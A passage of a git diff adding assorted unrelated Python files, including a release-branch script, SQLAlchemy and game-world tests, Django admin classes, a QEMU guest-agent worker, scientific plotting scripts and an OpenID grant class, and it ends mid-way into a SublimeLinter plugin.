\"{}\" will be used".format(release_tag)) + release_branch_name = "{}-{}".format(githelpers.release_branch_base_name, release_tag) + logging.info("Release branch name \"{}\"".format(release_branch_name)) + validate_branch_not_existing(release_branch_name) + + previous_release_tag = githelpers.execute_cmd("cat Makefile | awk -F '=' '/^version=/ {print $2 }'") + if not githelpers.is_tag_valid(previous_release_tag): + logging.error("Aborting: Previous tag from Makefile \"{}\" is not valid".format(previous_release_tag)) + exit(1) + + if previous_release_tag == release_tag: + logging.error("Aborting: Previous tag from Makefile \"{}\" is the same as new tag \"{}\"" + .format(previous_release_tag, release_tag)) + exit(1) + + logging.info("All check have passed") + + while True: + proceed_input = input("Proceed with preparing the release(yes/no)?: ") + try: + if proceed_input in ["yes", "no"]: + break + except ValueError: + print("'Please respond with \'yes\' or \'no\'.") + + if strtobool(proceed_input): + logging.info("Checking out release branch") + githelpers.execute_git_cmd("checkout -b {}".format(release_branch_name)) + + logging.info("Replacing \"{}\" with new tag \"{}\" in repo files".format(previous_release_tag, release_tag)) + githelpers.execute_cmd("git ls-files | xargs -I {{}} sed --follow-symlinks -i 's/{}/{}/g' {{}}" + .format(previous_release_tag, release_tag)) + + logging.info("Rebuilding docs") + githelpers.execute_cmd_visible("make docs") + + logging.info("Committing changes") + githelpers.execute_git_cmd("add -u") + githelpers.execute_git_cmd("commit -m\"{} {}.\"".format(githelpers.release_msg, release_tag)) + + logging.info("Pushing release branch to origin") + githelpers.execute_git_cmd("push origin {}".format(release_branch_name)) + + githelpers.execute_git_cmd("checkout master") + logging.info("All done - release branch is ready") + logging.info("Go to github.com and create PR") + logging.info("============================ IMPORTANT ====================") + logging.info("After PR review is good to go - Choose \"Rebase and merge\"") + logging.info("Jenkins CI/CD searches for \"{} vX.Y.Z[-rcV].\"".format(githelpers.release_msg)) + logging.info("string in commit message") + else: + logging.info("Aborting on user request") + exit(0) + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0084250_test_sqlitem.py b/pool/shard009/Python/0084250_test_sqlitem.py new file mode 100644 index 0000000000000000000000000000000000000000..01b6e57919ca0764f24955b12151fe65c4b12732 --- /dev/null +++ b/pool/shard009/Python/0084250_test_sqlitem.py @@ -0,0 +1,117 @@ +import unittest + +from . database import engine, init_db + +from . items import (UserItem, + AddressItem, + NewFieldItemUser, + OverrideFieldItemUser) + + +class BaseTestCase(unittest.TestCase): + def assertSortedEqual(self, first, second): + return self.assertEqual(sorted(first), sorted(second)) + + +class SqlAlchemyItemTestCase(BaseTestCase): + def test_user(self): + """ test that makes a user item with right fields""" + u = UserItem() + self.assertSortedEqual(u.fields.keys(), ['id', 'name', 'full_name']) + + def test_new_fields(self): + """ test that the item makes a field for items not declared in the db model """ + u = NewFieldItemUser() + self.assertSortedEqual(u.fields.keys(), ['id', 'name', 'full_name', 'first_joined']) + + def test_override_fields(self): + """ test can override a field when defining a SqlAlchemyItem """ + u = OverrideFieldItemUser() + self.assertSortedEqual(u.fields.keys(), ['id', 'name', 'full_name']) + + def test_has_keys(self): + """ test make sure Has primary keys works, has not nullable columns works + Test see if attributes that contain list of pks and not nullable columns""" + u = UserItem() + a = AddressItem() + self.assertEqual(['id'], u.primary_keys) + + self.assertEqual(['id', 'email_address', 'time'], a.required_keys) + self.assertEqual({'id', 'email_address'}, a.null_primary_key_fields) + self.assertEqual({'id', 'email_address', 'time'}, a.null_required_fields) + + self.assertTrue(u.null_primary_key_fields) + self.assertTrue(u.null_required_fields) + + a['id'] = 100 + a['email_address'] = "bigtime@thebigtime.come" + self.assertFalse(a.null_primary_key_fields) + + self.assertEqual({'time'}, a.null_required_fields) + a['time'] = 'one o clock' + + self.assertFalse(a.null_required_fields) + + +class SqlAlchemyItemDBTestCase(BaseTestCase): + def setUp(self): + init_db() + + engine.execute(""" CREATE TABLE IF NOT EXISTS user2 + (id INTEGER PRIMARY KEY, + name VARCHAR, + full_name VARCHAR)""") + + engine.execute("""INSERT INTO user2 + (id,name,full_name) + VALUES ('1','ryan','ryan the rhino');""") + + engine.execute("""INSERT INTO user2 + (id,name) + VALUES ('2','joe');""") + + def tearDown(self): + engine.execute("delete from user2") + + def test_db_setup(self): + """test database was setup properly""" + self.assertSortedEqual((1, 'ryan', 'ryan the rhino'), + engine.execute('select * from user2').fetchone()) + + def test_commit_item(self): + """test save fields into database """ + u = UserItem() + u['id'] = 3 + u['name'] = 'bob' + u['full_name'] = 'bob the bat' + + u.commit_item(engine=engine) + self.assertSortedEqual([3, 'bob', 'bob the bat'], + engine.execute("Select * from user2 where user2.id = 3").fetchone()) + + def test_matching_dbrow_raises_nometadata(self): + u = UserItem() + u.table.metadata.bind = None + with self.assertRaises(AttributeError): + u.get_matching_dbrow() + + def test_matching_dbrow_raises_null_primary_key(self): + u = UserItem() + u.table.metadata.bind = 'sqlite:///' + with self.assertRaises(ValueError): + u.get_matching_dbrow() + + def test_matching_dbrow_pulls_matching_data(self): + u = UserItem() + u.table.metadata.bind = engine + u['id'] = 2 + self.assertEqual((2, 'joe', None), u.get_matching_dbrow()) + + def test_matching_dbrow_uses_cache(self): + u = UserItem() + u.table.metadata.bind = engine + u['id'] = 2 + u.get_matching_dbrow() + + engine.execute("delete from user2") + self.assertEqual((2, 'joe', None), u.get_matching_dbrow()) diff --git a/pool/shard009/Python/0084253_admin.py b/pool/shard009/Python/0084253_admin.py new file mode 100644 index 0000000000000000000000000000000000000000..44b96815e062b058f428c1474670c6342c8ee9db --- /dev/null +++ b/pool/shard009/Python/0084253_admin.py @@ -0,0 +1,143 @@ +# -*- coding: utf-8 -*- +"""Admin classes for ChemBio Hub Platofrm""" +from django.contrib import admin +from cbh_core_model.models import Project, PinnedCustomField, CustomFieldConfig, SkinningConfig, ProjectType + +from django.contrib.admin import ModelAdmin + + +from django.forms.widgets import HiddenInput, TextInput +from django.db import models +from solo.admin import SingletonModelAdmin + + +from django import forms + +class CreatedByAdmin(object): + """Meta class to ensure that the created by field is filled in for objects created with the django admin""" + def save_model(self, request, obj, form, change): + if not obj.id: + obj.created_by = request.user + obj.save() + + + + +class GrappelliSortableHiddenMixin(object): + + """ + Mixin which hides the sortable field with Stacked and Tabular inlines. + This mixin must precede admin.TabularInline or admin.StackedInline. + """ + sortable_field_name = "position" + + def formfield_for_dbfield(self, db_field, **kwargs): + if db_field.name == self.sortable_field_name: + kwargs["widget"] = HiddenInput() + return super(GrappelliSortableHiddenMixin, self).formfield_for_dbfield(db_field, **kwargs) + + +class PinnedCustomFieldAdmin(ModelAdmin): + """Admin to edit individual PCF objects, now deprecated""" + list_display = ["name", + "description", + "field_type", + "allowed_values"] + + exclude = ["field_key", + "custom_field_config", "position"] + + def get_queryset(self, request): + qs = super(PinnedCustomFieldAdmin, self).get_queryset(request) + return qs.filter(custom_field_config=None) + + def save_model(self, request, obj, form, change): + obj.position = 0 + obj.save() + + + + +# GrappelliSortableHiddenMixin +class PinnedCustomFieldInline(GrappelliSortableHiddenMixin, admin.TabularInline, ): + """Inline admin for pinned custom fields which adds the poisition""" + model = PinnedCustomField + + sortable_field_name = "position" + formfield_overrides = { + models.CharField: {'widget': TextInput(attrs={'size': '20'})}, + } + extra = 3 + + def get_extra(self, request, obj=None, **kwargs): + """Dynamically sets the number of extra forms. 0 if the related object + already exists or the extra configuration otherwise.""" + if obj: + # Don't add any extra forms if the related object already exists. + return 0 + return self.extra +# Make a template have to be chosen in order to create a schema and make +# it impossible to edit schemas once created then versioning not needed + + +class CustomFieldConfigAdmin(ModelAdmin): + """Admin for custom field config objects""" + exclude = ["created_by", ] + + search_fields = ('name',) + ordering = ('-created',) + date_hierarchy = 'created' + inlines = [PinnedCustomFieldInline, ] + + def get_readonly_fields(self, request, obj=None): + """schemaform made to be read-only - this field is now deprecated""" + if obj: # editing an existing object + return self.readonly_fields + ('schemaform',) + return self.readonly_fields + + def save_model(self, request, obj, form, change): + obj.created_by = request.user + obj.save() + + + formfield_overrides = { + models.CharField: {'widget': TextInput(attrs={'size': '20'})}, + } + + +class ProjectTypeAdmin(ModelAdmin): + """Admin for project type objects""" + list_display = ('name', 'show_compounds') + + +class ProjectAdmin(CreatedByAdmin, ModelAdmin): + """Project admin site""" + prepopulated_fields = {"project_key": ("name",)} + list_display = ('name', 'project_key', 'created', 'project_type') + search_fields = ('name',) + ordering = ('-created',) + date_hierarchy = 'created' + exclude = ["created_by"] + + +admin.site.register(CustomFieldConfig, CustomFieldConfigAdmin) +admin.site.register(Project, ProjectAdmin) +admin.site.register(ProjectType, ProjectTypeAdmin) +admin.site.register(SkinningConfig, SingletonModelAdmin) +admin.site.register(PinnedCustomField, PinnedCustomFieldAdmin) + +#FlowFile relocation +from cbh_core_model.models import CBHFlowFile as FlowFile, CBHFlowFileChunk as FlowFileChunk + + +class FlowFileChunkInline(admin.TabularInline): + + model = FlowFileChunk + + +class FlowFileAdmin(admin.ModelAdmin): + """FlowFile admin so that files can be deleted""" + list_display = ['identifier', 'state', 'total_size', 'total_chunks', 'total_chunks_uploaded'] + list_filter = ['state'] + inlines = [FlowFileChunkInline] +admin.site.register(FlowFile, FlowFileAdmin) diff --git a/pool/shard009/Python/0084259_database.py b/pool/shard009/Python/0084259_database.py new file mode 100644 index 0000000000000000000000000000000000000000..1f1fa462bbfe43c9860c22da0c18027ee6680bd2 --- /dev/null +++ b/pool/shard009/Python/0084259_database.py @@ -0,0 +1,65 @@ +#-*- coding:UTF-8-*- + +import config + +import sqlalchemy as sa +from sqlalchemy.ext.declarative import declarative_base +from sqlalchemy.orm import scoped_session,sessionmaker +from sqlalchemy.pool import NullPool +from sqlalchemy import event +from sqlalchemy import exc +from sqlalchemy import select + +config = config.rec() +engine = sa.create_engine(config.database + '?charset=utf8', poolclass=NullPool) + + +@event.listens_for(engine, "engine_connect") +def ping_connection(connection, branch): + if branch: + # "branch" refers to a sub-connection of a connection, + # we don't want to bother pinging on these. + return + + # turn off "close with result". This flag is only used with + # "connectionless" execution, otherwise will be False in any case + save_should_close_with_result = connection.should_close_with_result + connection.should_close_with_result = False + + try: + # run a SELECT 1. use a core select() so that + # the SELECT of a scalar value without a table is + # appropriately formatted for the backend + connection.scalar(select([1])) + except exc.DBAPIError as err: + # catch SQLAlchemy's DBAPIError, which is a wrapper + # for the DBAPI's exception. It includes a .connection_invalidated + # attribute which specifies if this connection is a "disconnect" + # condition, which is based on inspection of the original exception + # by the dialect in use. + if err.connection_invalidated: + # run the same SELECT again - the connection will re-validate + # itself and establish a new connection. The disconnect detection + # here also causes the whole connection pool to be invalidated + # so that all stale connections are discarded. + connection.scalar(select([1])) + else: + raise + finally: + # restore "close with result" + connection.should_close_with_result = save_should_close_with_result + +Base = declarative_base() +def get_db(engine): + db_session = scoped_session(sessionmaker(bind=engine)) + Base.query = db_session.query_property() + return db_session + +db = get_db(engine) + +def init_db(): + import models + Base.metadata.create_all(engine) + print(u'数据库部署完成!') + return + diff --git a/pool/shard009/Python/0084261_workviewtest.py b/pool/shard009/Python/0084261_workviewtest.py new file mode 100644 index 0000000000000000000000000000000000000000..89f9e74b644f7cc1c57a05b1f6f21e0f43108a59 --- /dev/null +++ b/pool/shard009/Python/0084261_workviewtest.py @@ -0,0 +1,82 @@ +import unittest +from wsd.tests.database.databasemocks import * +from wsd.evaluation.workview import EvaluationWorkView + +class EvaluationWorkViewTest(unittest.TestCase): + def setUp(self): + self.mock = WorkViewMock() + sample = { + 'title': 'my sample', + 'id': 1, + 'links': [ + { 'target_article_name': 'myLink1', 'target_article_id': 5, 'phrase': 'p1' }, + { 'target_article_name': 'myLink2', 'target_article_id': 6, 'phrase': 'p2' }, + { 'target_article_name': 'myLink1', 'target_article_id': 5, 'phrase': 'p3' }, + ], + 'ngrams': [ # only required for occurrences + ('my ngram 1', 0), + ('my ngram 2', 1), + ('my ngram 2', 0) + ] + } + self.work_view = EvaluationWorkView(self.mock, sample) + + def test_article_by_title_own_link(self): + self.mock.articles['my sample'] = { 'id': 1 } + self.assertEqual(self.work_view.resolve_title('my sample'), None) + + def test_article_by_title_non_existent(self): + self.assertEqual(self.work_view.resolve_title('non existent'), None) + + def test_article_by_title(self): + article = { 'id': 3, 'title': 'new article', 'articleincount': 55 } + self.mock.articles['new article'] = article + self.assertEqual(self.work_view.resolve_title('new article'), article) + + def test_number_of_common(self): + self.mock.commons.append({ 'id1': 5, 'id2': 6, 'num': 10 }) + self.mock.commons.append({ 'id1': 5, 'id2': 7, 'num': 10 }) + self.assertEqual(self.work_view.retrieve_number_of_common_articles(5, 6), 9) + self.assertEqual(self.work_view.retrieve_number_of_common_articles(5, 7), 10) + + def test_number_of_common_invalid(self): + self.assertEqual(self.work_view.retrieve_number_of_common_articles(5, 6), 0) + + def test_meanings(self): + self.mock.meanings['term1'] = [ + { 'id': 5, 'title': 'myLink1', 'articleincount': 2, 'occurrences': 3 }, + { 'id': 6, 'title': 'myLink2', 'articleincount': 2, 'occurrences': 3 }, + { 'id': 7, 'title': 'myLink3', 'articleincount': 2, 'occurrences': 3 } + ] + meanings = self.work_view.retrieve_meanings('term1') + self.assertEqual(len(meanings), 3) + self.assertEqual(meanings[0]['articleincount'], 1) + self.assertEqual(meanings[0]['occurrences'], 1) + self.assertEqual(meanings[1]['articleincount'], 1) + self.assertEqual(meanings[1]['occurrences'], 2) + self.assertEqual(meanings[2]['articleincount'], 2) + self.assertEqual(meanings[2]['occurrences'], 3) + + def test_meanings_remove(self): + self.mock.meanings['term1'] = [ + { 'id': 5, 'title': 'myLink1', 'articleincount': 2, 'occurrences': 2 }, + { 'id': 6, 'title': 'myLink2', 'articleincount': 1, 'occurrences': 3 } + ] + meanings = self.work_view.retrieve_meanings('term1') + self.assertEqual(len(meanings), 0) + + def test_occurrences(self): + self.mock.occurrences['my ngram 1'] = { 'occurrences': 3, 'as_link': 0 } + self.mock.occurrences['my ngram 2'] = { 'occurrences': 4, 'as_link': 3 } + self.mock.occurrences['my ngram 3'] = { 'occurrences': 3, 'as_link': 1 } + + occurrences1 = self.work_view.retrieve_occurrences('my ngram 1') + occurrences2 = self.work_view.retrieve_occurrences('my ngram 2') + occurrences3 = self.work_view.retrieve_occurrences('my ngram 3') + + self.assertEqual(occurrences1['occurrences'], 2) + self.assertEqual(occurrences2['occurrences'], 2) + self.assertEqual(occurrences3['occurrences'], 3) + self.assertEqual(occurrences1['as_link'], 0) + self.assertEqual(occurrences2['as_link'], 2) + self.assertEqual(occurrences3['as_link'], 1) \ No newline at end of file diff --git a/pool/shard009/Python/0084262_seattle_planets.py b/pool/shard009/Python/0084262_seattle_planets.py new file mode 100644 index 0000000000000000000000000000000000000000..0162fc6f3753ea0b9e8991d02216852c5fc2b15e --- /dev/null +++ b/pool/shard009/Python/0084262_seattle_planets.py @@ -0,0 +1,14 @@ +#!/usr/bin/env python +import sys + +from app.astro import get_visible_objects + + +if __name__ == '__main__': + lat, lon = 47.606, -122.332 + sys.stdout.write('Things visible from Seattle right now:\n') + for obj in get_visible_objects(lat, lon): + sys.stdout.write( + '* {0.name}: azimuth {1} degrees, altitude {2} degrees\n' + .format(obj, obj.azimuth, obj.altitude) + ) diff --git a/pool/shard009/Python/0084266_BaseAgentWorker.py b/pool/shard009/Python/0084266_BaseAgentWorker.py new file mode 100644 index 0000000000000000000000000000000000000000..9d8a7a6540a072be7b5286dbb63b7f901a22b90c --- /dev/null +++ b/pool/shard009/Python/0084266_BaseAgentWorker.py @@ -0,0 +1,118 @@ +import time +import os +import base64 +from libs.QGAConnection import QGAConnection + + +class BaseAgentWorker(object): + + CRITICAL = 50 + ERROR = 40 + WARNING = 30 + INFO = 20 + DEBUG = 10 + + Host = "localhost" + Guest = None + Priority = 20 + Message = {} + Timestamp = 0 + + Connection = None + #the exit signals + Exit = False + + def __init__(self, host, filename=None): + self.Host = host + self.Guest = os.path.split(filename)[-1] + + def __del__(self): + pass + + def update(self): + self.Timestamp = self.time() + + def time(self): + return time.time() + + def exit(self): + self.Exit = True + + +class BaseQGAAgentWorker(BaseAgentWorker): + __conn = None + socketFile = None + _die_time = 0 + + def __init__(self, host, filename=None): + self.Host = host + self.Guest = os.path.split(filename)[-1] + + self.socketFile = filename + self.connect() + + def __del__(self): + if self.__conn is not None: + self.__conn.close() + + def connect(self): + try: + if self.__conn is None: + self.__conn = QGAConnection(self.socketFile) + except: + self.Priority = self.ERROR + self.Message = {'message': "can't connection to qga"} + + self.exit() + + def fetch(self, filename): + self.connect() + + query = {'execute': 'guest-file-open', 'arguments': {'path': filename, 'mode': 'r'}} + result = self.query(query) + + if 'return' not in result.keys() or result['return'] < 0: + return None + + fileHandleId = result['return'] + + data = '' + query= {'execute': 'guest-file-read', 'arguments': {'handle': fileHandleId, 'count': 1 << 11}} + while True: + try: + self.__conn.send(query) + result = self.__conn.recieve() + data += result['return']['buf-b64'] + + if result['return']['eof']: + break + except: + self.exit() + return None + + #close file handle + query = {'execute': 'guest-file-close', 'arguments': {'handle': fileHandleId}} + self.query(query) + + return base64.decodestring(data) + + def query(self, command): + try: + self.__conn.send(command) + return self.__conn.recieve() + except: + self.exit() + return None + + def exit(self): + + if self._die_time < 3: + self.Exit = True + + else: + try: + command = {'execute' : 'guest-ping'} + self.query(command) + self._die_time = 0 + except: + self._die_time += 1 \ No newline at end of file diff --git a/pool/shard009/Python/0084269_finance-usdjpy.py b/pool/shard009/Python/0084269_finance-usdjpy.py new file mode 100644 index 0000000000000000000000000000000000000000..a5a7cc579fab83d6abd758bf8fa747ac7036794b --- /dev/null +++ b/pool/shard009/Python/0084269_finance-usdjpy.py @@ -0,0 +1,16 @@ +import datetime as dt +import matplotlib.pyplot as plt +from matplotlib import style +import pandas as pd +import pandas_datareader.data as web + +style.use('ggplot') + +start = dt.datetime(1960, 1, 1) +end = dt.datetime(2016, 12, 31) + +df = web.DataReader('DEXJPUS', 'fred', start, end) +print(df.head(6)) + +df.plot() +plt.show() diff --git a/pool/shard009/Python/0084275_logic_ssvep_csp_analysis.py b/pool/shard009/Python/0084275_logic_ssvep_csp_analysis.py new file mode 100644 index 0000000000000000000000000000000000000000..2c0a2e3d18e9c22b8b87d23a966b0e913e456116 --- /dev/null +++ b/pool/shard009/Python/0084275_logic_ssvep_csp_analysis.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# Author: +# Mateusz Kruszyński + +import sys, time, os.path, pickle +import pylab + +from obci.analysis.obci_signal_processing import read_manager +from obci.analysis.csp import modCSPv2 as csp +from obci.analysis.csp import signalParser as sp +from obci.utils import context as ctx + +def run(in_file, use_channels, ignore_channels, montage, montage_channels, dec_count, plot_stats=True, + context=ctx.get_dummy_context('UgmBlinkingConnection')): + logger = context['logger'] + mgr = read_manager.ReadManager( + in_file+'.obci.xml', + in_file+'.obci.raw', + in_file+'.obci.tag') + to_frequency = int(float(mgr.get_param("sampling_frequency"))) + if use_channels is None: + use_channels = mgr.get_param('channels_names') + if ignore_channels is not None: + for i in ignore_channels: + try: + use_channels.remove(i) + except: + pass + + exp_info = mgr.get_tags('experimentInfo')[0]['desc'] + to_signal = float(exp_info['target_time']) + freqs = [int(i) for i in exp_info['all_freqs'].split(';')] + + + data = sp.signalParser(in_file+'.obci') + train_tags = data.get_train_tags(trial_separator_name='diodes', screen=True) + logger.info("Run csp with: use_channels: "+str(use_channels)+" motage: "+str(montage)+" montage_channels: "+str(montage_channels)) + q = csp.modCSP(in_file+'.obci', freqs, use_channels, montage, montage_channels) + q.start_CSP(to_signal, to_frequency, baseline = False, filt='cheby', method = 'regular', train_tags = train_tags)#liczenie CSP + time = pylab.linspace(1, to_signal, 7) + t1, t2 = q.time_frequency_selection(to_frequency, train_tags, time=time, frequency_no=dec_count, plt=False) + + logger.info("Got times t1: "+str(t1)+ " and t2: "+str(t2)) + logger.info("Set buffer time:"+str(t2)) + value, mu, sigma, means, stds, out_top, out_bottom = q.count_stats(to_signal, to_frequency, train_tags, plt=plot_stats)#Liczenie statystyk + logger.info("For freqs: "+str(freqs)) + logger.info("Got means: "+str(means)) + + pairs = zip(means, freqs) + pairs.sort(reverse=True) + logger.info("Sorted: "+str(pairs)) + best = [i[1] for i in pairs] + best_means = [i[0] for i in pairs] + logger.info("Best freqs: "+str(best)) + logger.info("dec_count: "+str(dec_count)) + logger.info("freqs: " + str(best[:dec_count])) + logger.info("Finished CSP with stats:") + logger.info(str(value) + " / " + str(mu) + " / " + str(sigma)) + logger.info("And q:") + logger.info(str(q)) + + d = {'value': value, + 'mu': mu, + 'sigma': sigma, + 'q' : q, + 'freqs':';'.join([str(i) for i in best[:dec_count]]), + 'all_freqs':';'.join([str(i) for i in best]), + 'all_means':';'.join([str(i) for i in best_means]), + 'dec_count':dec_count, + 'buffer':t2, + 'use_channels':';'.join(use_channels), + 'montage':montage, + 'montage_channels':';'.join(montage_channels), + 'out_top':out_top, + 'out_bottom':out_bottom + } + return d diff --git a/pool/shard009/Python/0084282_authorization_code.py b/pool/shard009/Python/0084282_authorization_code.py new file mode 100644 index 0000000000000000000000000000000000000000..6b2dcc3bdd12d27d280890494286efc5f0c9befb --- /dev/null +++ b/pool/shard009/Python/0084282_authorization_code.py @@ -0,0 +1,43 @@ +""" +oauthlib.openid.connect.core.grant_types +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +""" +import logging + +from oauthlib.oauth2.rfc6749.grant_types.authorization_code import ( + AuthorizationCodeGrant as OAuth2AuthorizationCodeGrant, +) + +from .base import GrantTypeBase + +log = logging.getLogger(__name__) + + +class AuthorizationCodeGrant(GrantTypeBase): + + def __init__(self, request_validator=None, **kwargs): + self.proxy_target = OAuth2AuthorizationCodeGrant( + request_validator=request_validator, **kwargs) + self.custom_validators.post_auth.append( + self.openid_authorization_validator) + self.register_token_modifier(self.add_id_token) + + def add_id_token(self, token, token_handler, request): + """ + Construct an initial version of id_token, and let the + request_validator sign or encrypt it. + + The authorization_code version of this method is used to + retrieve the nonce accordingly to the code storage. + """ + # Treat it as normal OAuth 2 auth code request if openid is not present + if not request.scopes or 'openid' not in request.scopes: + return token + + nonce = self.request_validator.get_authorization_code_nonce( + request.client_id, + request.code, + request.redirect_uri, + request + ) + return super().add_id_token(token, token_handler, request, nonce=nonce) diff --git a/pool/shard009/Python/0084285_test_world.py b/pool/shard009/Python/0084285_test_world.py new file mode 100644 index 0000000000000000000000000000000000000000..9bf8b6160d3a0b3ea8593b95565d7e50b2270b3e --- /dev/null +++ b/pool/shard009/Python/0084285_test_world.py @@ -0,0 +1,196 @@ + +""" +Tests for L{gam3.world}. +""" + +from zope.interface.verify import verifyObject + +from twisted.trial.unittest import TestCase +from twisted.internet.task import Clock +from twisted.application.service import IService + +from epsilon.structlike import record + +from gam3.world import Gam3Service, World, point + +from game.vector import Vector +from game.terrain import Terrain +from game.test.test_environment import SimulationTimeTestsMixin +from game.test.util import ArrayMixin, PlayerVisibilityObserver + + +class StubRandom(record('rangeResults')): + """ + Pretend to be a L{random.Random} object, but behave deterministically. + + @ivar rangeResults: A dict mapping L{randrange} argument tuples to the + result which will be returned. + """ + def randrange(self, start, stop): + """ + Return the precomputed random result for the given range. + """ + return self.rangeResults.pop((start, stop)) + + + +class WorldTests(TestCase, ArrayMixin): + """ + Tests for L{World}. + """ + def test_emptyTerrain(self): + """ + A newly created L{World} has an empty terrain mapping. + """ + terrain = World().terrain + self.assertIsInstance(terrain, Terrain) + self.assertEquals(terrain.dict(), {}) + + + def test_createPlayer(self): + """ + L{World.createPlayer} should return a L{Player} at a random location + within a specified rectangle. + """ + bottomLeft = point(3, 7) + topRight = point(21, 19) + expected = Vector(7, 1, 15) + + random = StubRandom({(bottomLeft.x, topRight.x): expected.x, + (bottomLeft.y, topRight.y): expected.z}) + + world = World(random, (bottomLeft, topRight)) + player = world.createPlayer() + + self.assertEqual(player.getPosition(), expected) + + + def test_removePlayer(self): + """ + L{World.removePlayer} should remove the given player from the + world and broadcast an event about its removal. + """ + world = World() + player = world.createPlayer() + observer = PlayerVisibilityObserver() + world.addObserver(observer) + world.removePlayer(player) + self.assertFalse(player in world.players) + self.assertEqual(observer.removedPlayers, [player]) + + + def test_removePlayerCallsObserversAfterRemovingPlayer(self): + """ + In a C{playerRemoved} observer, the L{Player} who is being + removed should not presently be a part of the L{World}. + """ + world = World() + player = world.createPlayer() + existentPlayers = [] + + class Observer(object): + def playerRemoved(self, player): + """ + An observer which records whether players are in the + world. + """ + existentPlayers.append(player in world.players) + + world.addObserver(Observer()) + world.removePlayer(player) + self.assertEqual(existentPlayers, [False]) + + + def test_createdPlayerIsTemporallyAligned(self): + """ + L{World.createPlayer} should create a player in the same time continuum + as the L{World} it is called on. + """ + world = World() + player = world.createPlayer() + self.assertEqual(player.seconds, world.seconds) + + + def test_createPlayerWithDefaultWorld(self): + """ + A L{World} instantiated with no arguments to C{__init__} should still + be able to create a L{Player}. + """ + world = World() + player = world.createPlayer() + v = player.getPosition() + self.assertTrue(isinstance(v.x, float)) + self.assertTrue(isinstance(v.y, float)) + self.assertTrue(isinstance(v.z, float)) + + + def test_createPlayerEmitsEvent(self): + """ + When L{World.createPlayer} is called, observers should be + notified. + """ + world = World() + observer = PlayerVisibilityObserver() + world.addObserver(observer) + player = world.createPlayer() + self.assertEqual(observer.createdPlayers, [player]) + + + def test_getPlayers(self): + """ + There should be a method for getting the L{Player}s from a + L{World}. + """ + world = World() + player1 = world.createPlayer() + player2 = world.createPlayer() + self.assertEqual(list(world.getPlayers()), [player1, player2]) + + +class WorldTimeTests(SimulationTimeTestsMixin, TestCase): + """ + Tests for the time-simulating aspecst of L{World}. + """ + + def getSimulationTime(self, granularity, clock): + """ + Return a L{World}. + """ + return World(granularity=granularity, platformClock=clock) + + + +class ServiceTests(TestCase): + """ + Tests for L{Gam3Service}. + """ + def test_serviceness(self): + """ + L{Gam3Service} should provide L{IService}. + """ + verifyObject(IService, Gam3Service(None)) + + + def test_startServiceStartsWorld(self): + """ + L{Gam3Service.startService} should start simulation time. + """ + clock = Clock() + world = World(platformClock=clock) + service = Gam3Service(world) + self.assertFalse(clock.calls) + service.startService() + self.assertTrue(clock.calls) + + + def test_stopServiceStopsWorld(self): + """ + L{Gam3Service.stopService} should stop simulation time. + """ + clock = Clock() + world = World(platformClock=clock) + service = Gam3Service(world) + world.start() + self.assertTrue(clock.calls) + service.stopService() + self.assertFalse(clock.calls) diff --git a/pool/shard009/Python/0084289_correlospinmatrix_detector_two_neuron.py b/pool/shard009/Python/0084289_correlospinmatrix_detector_two_neuron.py new file mode 100644 index 0000000000000000000000000000000000000000..cc83c61c6a1eccc5c36e133d576ec9b357b00dcc --- /dev/null +++ b/pool/shard009/Python/0084289_correlospinmatrix_detector_two_neuron.py @@ -0,0 +1,89 @@ +# -*- coding: utf-8 -*- +# +# correlospinmatrix_detector_two_neuron.py +# +# This file is part of NEST. +# +# Copyright (C) 2004 The NEST Initiative +# +# NEST is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# (at your option) any later version. +# +# NEST is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with NEST. If not, see . + +''' +correlospinmatrix_detector example +----------------------------------- + +This scripts simulates two connected binary neurons, similar +as in Ginzburg & Sompolinsky (1994) PRE, 50(4) p. 3771. Fig. 1. +It measures and plots the auto- and cross covariance funcitons +of the individual neurons and between them, repsectively. + +''' + + +import pylab as pl +import nest +import numpy as np + +m_x = 0.5 +tau_m = 10. +h = 0.1 +T = 1000000. +tau_max = 100. + + +csd = nest.Create("correlospinmatrix_detector") +nest.SetStatus(csd, {"N_channels": 2, "tau_max": tau_max, "Tstart": tau_max, "delta_tau": h}) + +nest.SetDefaults('ginzburg_neuron', {'theta': 0.0, 'tau_m': tau_m, 'c_1': 0.0, 'c_2': 2.*m_x, 'c_3': 1.0}) +n1 = nest.Create("ginzburg_neuron") + +nest.SetDefaults("mcculloch_pitts_neuron", {'theta': 0.5, 'tau_m': tau_m}) +n2 = nest.Create("mcculloch_pitts_neuron") + +nest.Connect(n1, n2, syn_spec={"weight": 1.0}) + +nest.Connect(n1, csd, syn_spec={"receptor_type": 0 }) +nest.Connect(n2, csd, syn_spec={"receptor_type": 1 }) + + +nest.Simulate(T) + +stat = nest.GetStatus(csd)[0] + +c = stat["count_covariance"] + +m = np.zeros(2, dtype=float) +for i in xrange(2): + m[i] = c[i][i][int(tau_max/h)]*(h/T) + +print 'mean activities =', m + +cmat = np.zeros((2,2, int(2*tau_max/h)+1), dtype=float) +for i in xrange(2): + for j in xrange(2): + cmat[i,j] = c[i][j]*(h/T) - m[i]*m[j] + +ts = np.arange(-tau_max, tau_max+h, h) + +pl.title("auto- and cross covariance functions") + +pl.plot(ts, cmat[0,1], 'r', label=r"$c_{12}$") +pl.plot(ts, cmat[1,0], 'b', label=r"$c_{21}$") +pl.plot(ts, cmat[0,0], 'g', label=r"$c_{11}$") +pl.plot(ts, cmat[1,1], 'y', label=r"$c_{22}$") +pl.xlabel("time $t \; \mathrm{ms}$") +pl.ylabel(r"$c$") +pl.legend() + +pl.show() diff --git a/pool/shard009/Python/0084290_linter.py b/pool/shard009/Python/0084290_linter.py new file mode 100644 index 0000000000000000000000000000000000000000..4484d9e005dbce3cbbccb5e5f7a6726b738fc0fe --- /dev/null +++ b/pool/shard009/Python/0084290_linter.py @@ -0,0 +1,98 @@ +# +# linter.py +# Linter for SublimeLinter3, a code checking framework for Sublime Text 3 +# +# Written by Alexander Gordeyev +# Copyright (c) 2014 Alexander Gordeyev +# +# License: MIT +# + +"""This module exports the Frosted plugin class.""" + +from io import StringIO +from SublimeLinter.lint import 